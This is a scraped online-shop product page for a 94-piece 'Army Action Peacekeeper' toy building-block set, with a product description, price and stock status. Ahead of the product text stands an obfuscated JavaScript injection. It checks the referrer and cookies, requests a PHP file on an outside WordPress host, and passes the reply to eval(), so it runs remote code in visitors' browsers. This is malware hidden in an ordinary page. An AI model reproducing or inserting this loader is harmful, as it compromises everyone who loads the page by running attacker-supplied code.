;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//toyandjoy.com/wp-content/languages-old/plugins/plugins.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
,

3 In 1 Army Action Peacekeeper Building Blocks

Availability:

Out of stock


110.00 EGP

Out of stock

Build, rebuild, create and unleash your imagination The set unlocks endless possibilities as you use real-like tools to build a variety of models. Take it all apart and rebuild any other shapes of your own Develops Cognitive Skills & Motor Skills  Hand eye coordination & Lets your Imagination explore After project is built, it can be used as a Decoration piece or for Play. A great project that will keep your kids entertained for hours. Makes an amazing gift and great for imaginary play. The constructor helps to develop the creative constructive abilities of the child, dimensional spatial and logical thinking. The designer is made of high quality polymer.High quality MaterialNon-Toxic Environmentally Friendly Baby, ammonia freeSoft, SafeA set of metal and plastic parts Children can be encouraged to assemble other designs inspired by their imagination. Material: plastic Color : Multi ColorAge: 6 year and abovePieces: 94

SKU: 105200108 Categories: ,